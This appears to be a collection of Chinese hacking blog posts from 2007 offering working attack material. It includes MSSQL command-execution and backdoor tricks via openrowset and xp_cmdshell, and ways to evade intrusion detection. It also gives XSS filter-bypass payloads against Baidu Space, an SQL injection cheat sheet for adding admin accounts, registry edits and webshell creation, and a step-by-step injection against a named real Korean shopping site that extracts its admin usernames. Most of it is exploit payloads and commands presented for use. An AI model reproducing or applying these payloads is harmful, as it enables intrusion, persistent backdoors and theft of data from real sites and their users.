返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息 -
1.关于Openrowset和Opendatasource
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from
table')
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。
2.关于Msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下:
select * from openrowset('msdasql','driver={sql
server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')
当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。
3.可怕的后门
以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令:
select * from openrowset('sqloledb','trusted_connection=yes;data
source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过!
另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令:
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:\''')
应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。
如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。
4.利用T-sql骗过Ids或攻击Ids
现在的Ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。
先说说欺骗Ids
Ids既然监视xp_cmdshell关键字,那么我们可以这么做:
declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'
这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做:
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456
exec @a 'dir c:\'
当然也可以:
declare @a sysname select @a=name from sysobjects where id=988455 1
exec @a 'dir c:\'
这种做法排列组合,ids根本不可能做的到完全监视。同理,sp_addlogin也可以这么做。
再说说攻击Ids
因为Ids数据量很大,日至通常备份到常规数据库,比如sql server。
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做,通常程序会这么写:
insert table s ('日至内容',...)
那么我们想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成:
insert table s ('日至内容'....'temp') exec xp_cmdshell 'dir
c:\' -- ')
这样,xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是:
insert/**/table/**/s('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录。
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。
好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。 -
2007-02-23
百度空间07年三个跨站漏洞 - [呜呜噎噎]
一、
# discover by Monyer
漏洞成因:百度虽然对于插入的html标签的属性进行过滤,包括style(层叠样式表),但是并没有对混淆在样式中的注释部分进行位置检查。造成可以通过在expression中插入注释,譬如:expr/*XSS*/ession,并以此方式绕过百度的过滤系统。但是由于在IE运行时会忽略掉注释内容,使得XSS代码得以正常运行,跨站即产生
示例:<img STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
<div STYLE="xss:expr/*XSS*/ession(this.innerHTML="<h1> monyer</h1>")"></div>
---------------------------------------------------------------------------------------------------------------------------------------------
二、
# discover by Monyer
漏洞成因:虽然百度空间费劲心思过滤了java,过滤了expression,过滤了等等的一些触发事件。可是它忽略了过滤vb,因此造成了一个非常严重的跨站漏洞的出现
示例:<img src="vb:msgbox("xss")" />
<img src="vb:msgbox()" />
---------------------------------------------------------------------------------------------------------------------------------------------
三、
# discover by Monyer
漏洞成因:我们知道对于backgroud样式属性是需要嵌套url才能引用XSS代码的,如果直接把代码写进backgroud是不能运行的,因为缺少了一个触发机制。而table标签会自动加载内部内容——相当与eval。(如果你上一个比较慢的空间,并且整个空间只有一个table,那么你会发现直到整个table数据全部下载到本地才能显示网页内容,原因即是如此)
示例:<table><tr><td background="java:alert(/xss/)"></tr></table>
<table >
<tr >
<td background="java:TheId.innerHTML=%22<embed src=\'URL\' height width >%22" >sth or noting</td >
</tr >
</table > -
2007-02-23
判断是否有注入;and 1=1 ;and 1=2 手动注入脚本命令 - [呜呜噎噎]
1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符’and [查询条件] and ’’=’
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
;and 1=(select IS_MEMBER(’db_owner’));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell ’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--
;exec master.dbo.xp_cmdshell ’net user username password /add’;--
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ’c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容
13.mssql中的存储过程
xp_regenums 注册表根键, 子键
;exec xp_regenums ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestName’,’reg_sz’,’hello’ 写入注册表
xp_regdelete 根键,子键,值名
exec xp_regdelete ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestName’ 删除某个值
xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) s (’’);
backup database model to disk=’c:\l.asp’;
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) s (’’);
backup database model to disk=’g:\wwwtest\l.asp’; -
2007-02-23
搜索型注入的入侵技术 - [呜呜噎噎]
帖几个baidu出来的关于搜索型注入的文章。百度货,不知道作者是哪个,感谢了先。。 ^_^
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic% ... bsp;and '%'=' //得到当前数据库账号
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic% ... nbsp;and '%'=' //得到当前数据库名
http://www.lvhuana.co.kr/product/list_search.asp ... ;and (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhu ... u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.dbo.sysobjects ... name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top 1 name from lvhuana3.d ... bsp;and status>0 and name not in('codechange','oldpoint'))>0 and '%'=' //得到当前数据库的第三个表名
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and%20(select%20top%201%20name%20from%20lvhuan ... #39;%20and%20status>0%20and%20name%20not%20in('codechange','oldpoint','tbl_admin','tbl_afterservice','tbl_agent','tbl_bank','tbl_board','tbl_board2','tbl_brandbestLeft','tbl_brandbestRight','tbl_card','tbl_cart','tbl_catalogue','tbl_community','tbl_court','tbl_estimate','tbl_FAQ','tbl_mail_list','tbl_mem_add','tbl_mem_main','tbl_mem_out','tbl_mem_rboard','tbl_mileage','tbl_notice','tbl_ord_cash_receipt','tbl_ord_change''tbl_ord_cs','tbl_ord_change','tbl_ord_cs','tbl_ord_main','tbl_ord_payment','tbl_ord_prd','tbl_ord_prd_return','tbl_ord_refund','tbl_ord_req_main','tbl_ord_req_prd','tbl_ord_request','tbl_ord_user','tbl_partition','tbl_prd_category','tbl_prd_click','tbl_prd_desc','tbl_prd_grade','tbl_prd_main','tbl_prd_model','tbl_recommand','tbl_saleshop','tbl_search','tbl_tax','tbl_zipcode','tempDesc','tempdesc2','tempmodel','tempPrdMain','tempPrdmodel','tempsize','tempstyle','tmpordprd','tmpordprd2','trace1'))>0%20and%20'%'=' //依次类推,得到所有的表
其实分析可以知道只有这个tbl_admin表才是最重要的。接着开始暴列名。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ( ... _name(object_id ('tbl_admin'),1) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第一个列名c_employee_id
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ( ... _name(object_id ('tbl_admin'),2) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第二个列名c_employee_name
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ( ... _name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第三个列名c_password
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ( ... _name(object_id ('tbl_admin'),3) from tbl_admin)>0 and '%'=' //得到tbl_admin这个表里的第四个列名c_level
列名暴完毕了,嘿嘿,接着开始暴管理员账号密码了。
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top&n ... p;tbl_admin)>0 and '%'=' //得到第一个管理员的id为943hoon
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ... e_id from(select top 1 * from(select top 2 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第二个管理员的id为champ
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ... e_id from(select top 1 * from(select top 3 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第三个管理员的id为clark
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ... e_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第四个管理员的id为hskim
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and ... e_id from(select top 1 * from(select top 4 * from tbl_admin order by 1)T order by 1 desc)S)>0 and '%'=' //得到第五个管理员的id为jajeong
http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and (select top& ... p;tbl_admin)>0 and '%'=' //这个语句是暴出管理员密码的,可惜直接返回了正常页面,郁闷。。。。
一会再想别的办法吧。。。。。
另外说下,2.3 的啊D支持搜索型的注入方式是:
一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/...t&ST=title&SC=
构造注入语句 三星%'and 1=1 and '%'='
三星%'and 1=2 and '%'='
大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写笔记本 就是三星%'and 1=1 and '%'=' 返回时有的
我们知道一般搜索代码是这么写的:
Select * from 表名 where 字段 like ’%关键字%’
这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)
这里如果关键字没有过滤的话,就可以这样来构造:
关键字=’ and [查询条件] and ‘%25’=’
这样查询就变成
select * from 表名 where 字段 like '%' and 1=1 and '%'='%'
这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~
注入是不分家的,没必要什么型什么型的!~
如果不信,大家请看下面的《sql注入天书》的原话
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’,即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
当然手工是麻烦的
用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的
注入点只要写:
http://notebook.samsung.com.cn/news/...&ST=title&SC=%
再加个特征字符就可以了
-
第一节SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。
第二节、SQL注入常用函数
有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
第三节、中文处理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。
先说一点常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。
了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。






